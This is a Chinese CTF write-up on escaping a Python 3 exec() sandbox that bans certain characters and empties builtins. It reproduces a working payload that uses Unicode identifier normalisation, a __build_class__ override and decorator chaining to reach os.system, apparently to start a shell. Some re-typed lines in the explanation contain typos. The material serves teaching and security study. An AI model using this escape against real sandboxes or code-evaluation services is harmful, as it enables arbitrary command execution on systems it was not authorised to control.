CTF真题之python3的沙箱逃逸

渗透技巧 2年前 (2021) admin
903 0 0

CTF真题之python3的沙箱逃逸


前提知识

内联函数

# 下面代码可列出所有的内联函数
dir(__builtins__)
# Python3有一个builtins模块,可以导入builtins模块后通过dir函数查看所有的内联函数
import builtins
dir(builtins)

魔术函数

__class__ 返回一个实例所属的类
__mro__ 查看类继承的所有父类,直到object
__subclasses__() 获取一个类的子类,返回的是一个列表
__bases__ 返回一个类直接所继承的类(元组形式)
__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化
__globals__ 使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典
__getattribute__ 当类被调用的时候,无条件进入此函数。
__getattr__ 对象中不存在的属性时调用
__dict__ 返回所有属性,包括属性,方法等


builtin

在python中,我们知道,不用引入直接使用的内置函数称为 builtin 函数,随着__builtin__这一个module 自动被引入到环境中(在python3.x 版本中,__builtin__变成了builtins,而且需要引入)

因此,open(),int(),chr()这些函数,就相当于

__builtin__.open()
__builtin__.int()
__builtin__.chr()

如果我们把这些函数从builtin中删除,那么就不能够再直接使用了

>>> import __builtin__
>>> del __builtin__.chr
>>> chr(1)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'chr' is not defined

同样,刚才的__import__函数,同样也是一个builtin函数,同样,常用的危险函数eval,exec,execfile也是__builtin__的,因此只要从__builtin__中删除这些东西,那么就不能再去使用了

object类

对于支持继承的编程语言来说,其方法(属性)可能定义在当前类,也可能来自于基类,所以在方法调用时就需要对当前类和基类进行搜索以确定方法所在的位置。而搜索的顺序就是所谓的「方法解析顺序」(Method Resolution Order,或MRO)。

关于MRO的文章:http://hanjianwei.com/2013/07/25/python-mro/

python的主旨是一切变量皆对象python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro__和 __bases__两种方式来创建。__mro__属性获取类的MRO(方法解析顺序),也就是继承关系。__bases__属性可以获取上一层的继承关系,如果是多层继承则返回上一层的东西,可能有多个。

通过__mro__ 和__bases__两种方式创建object类

().__class__.__bases__[0]
{}.__class__.__bases__[0]
[].__class__.__mro__[1]

python3
''.__class__.__mro__[1]
python2
''.__class__.__mro__[2]

然后通过object类的__subclasses__()方法来获得当前环境下能够访问的所有对象,因为调用对象的 __subclasses__() 方法会返回当前环境中所有继承于该对象的对象.。Python2和Python3获取的结果不同。

{}.__class__.__bases__[0].__subclasses__()


前言

前段时间在twitter上看到大佬抛出一个疑问。给出了一段代码,我当时也是想了半天也没想出来。

CTF真题之python3的沙箱逃逸


code = input()
for c in 'hui"'(':
   assert c not in code
exec(code, {'__builtins__': {}})

这题禁用了hui”‘( 这些字符导致常用的沙箱绕过的payload和魔法方法都无法执行,都会被断言失败。

CTF真题之python3的沙箱逃逸


_builtins与builtin__的区别


两者有何区别,以及为何这么做,请阅读以下两篇博客:

https://www.cnblogs.com/Ladylittleleaf/p/10240096.html

总的概括而言:

By default, when in the __main__ module, __builtins__ is the built-in module __builtin__ (note: no ‘s’); when in any other module, __builtins__ is an alias for the dictionary of the __builtin__ module itself.


解题

3 月 15 号的时候 Arthur Khashaev (twitter @Invizory)给了个解法,我觉得很有趣,来和大家分享一下

原帖地址:https://gist.github.com/Invizory/36b5c4e037548b940c831efe350162d2

他给的解题思路是这样

b=[].__class__.__base__
d=[].__doc__
n=d.__doc__[31]
__bᵤ?lt?ns__[n+n+d[13]+d[1:4]+d[139]+n+d[23]+d[3]+d[12]+d[17]*2+n+n]=lambda*_:b
@b.__class__.__sᵤbclasses__
class s:_
@s[84].load_modᵤle
@lambda _:d[32]+d[17]
class o:_
@o.system
@lambda _:d[2]+d[139]
class _:_

完美避过监测,注意代码里的u是经过unicode编码的


identifier过滤绕过

这段代码的第一个神奇之处就在于 python3 的 interpreter 竟然会做 unicode normalize,这个特性总感觉以前从来没看过,经过一定的考证找到了实据:

https://docs.python.org/3/reference/lexical_analysis.html#identifiers

CTF真题之python3的沙箱逃逸

Python 3.0 introduces additional characters from outside the ASCII range (see PEP 3131). For these characters, the classification uses the version of the Unicode Character Database as included in the unicodedata module.

从 python 3.0 引入的对 name 的处理,从 PEP 3131 中可知 The following changes will need to be made to the parser:

If a non-ASCII character is found in the UTF-8 representation of the source code, a forward scan is made to find the first ASCII non-identifier character (e.g. a space or punctuation character) The entire UTF-8 string is passed to a function to normalize the string to NFKC, and then verify that it follows the identifier syntax. No such callout is made for pure-ASCII identifiers, which continue to be parsed the way they are today. The Unicode database must start including the Other_ID_{Start|Continue} property. If this specification is implemented

for 2.x, reflective libraries (such as pydoc) must be verified to continue to work when Unicode strings appear in dict slots as keys.

具体来说就是如果 id 名称使用了非 ASCII 字符,则会将整个 name 传给 unicodedb 去做 NFKC normalize,也就是说这些字符会被自动的替换,从而正常解析。

因此 Python 3 起针对 identifier 的过滤都可以使用该方法绕过。函数调用绕过。


突破左括号利用

在代码可以看到,是禁止了左括号的,因此无法做直接的函数调用。

Arthur 使用的方法比较巧妙,通过修改 build_class 从而修改了声明 class 时的默行为, 

__bultns__[n+n+d[13]+d[1:4]+d[139]+n+d[23]+d[3]+d[12]+d[17]*2+n+n]=lambda*_:b

这一行将修改创建 class 时的默认行为,使得每个 class 声明都会返回 object type:

__builtins__[‘__build_class__’] = lambda*_:b

e而这里:

 @b.__class__.__subclasses__
class s:_


在创建 class 的时候相当于让

 s = b(func, name, /, *bases, [metaclass], **kwds) # 即 s = object
s = b.__class__.__subclasses__(s) # 即 s = b.__class__.__subclasses__(object)


从而通过 class s 获得了object的子类列表 后续原理类似不再赘述。这个形势有些类似于 PHP 中的回调型后⻔,对于 function 其实也有类似的形

势可以达到一样的效果:

@b.__class__.__subclasses__ @cdef d(): pass


=END=

原文始发于微信公众号(雷石安全实验室):CTF真题之python3的沙箱逃逸

版权声明:admin 发表于 2021年11月12日 上午4:16。
转载请注明:CTF真题之python3的沙箱逃逸 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...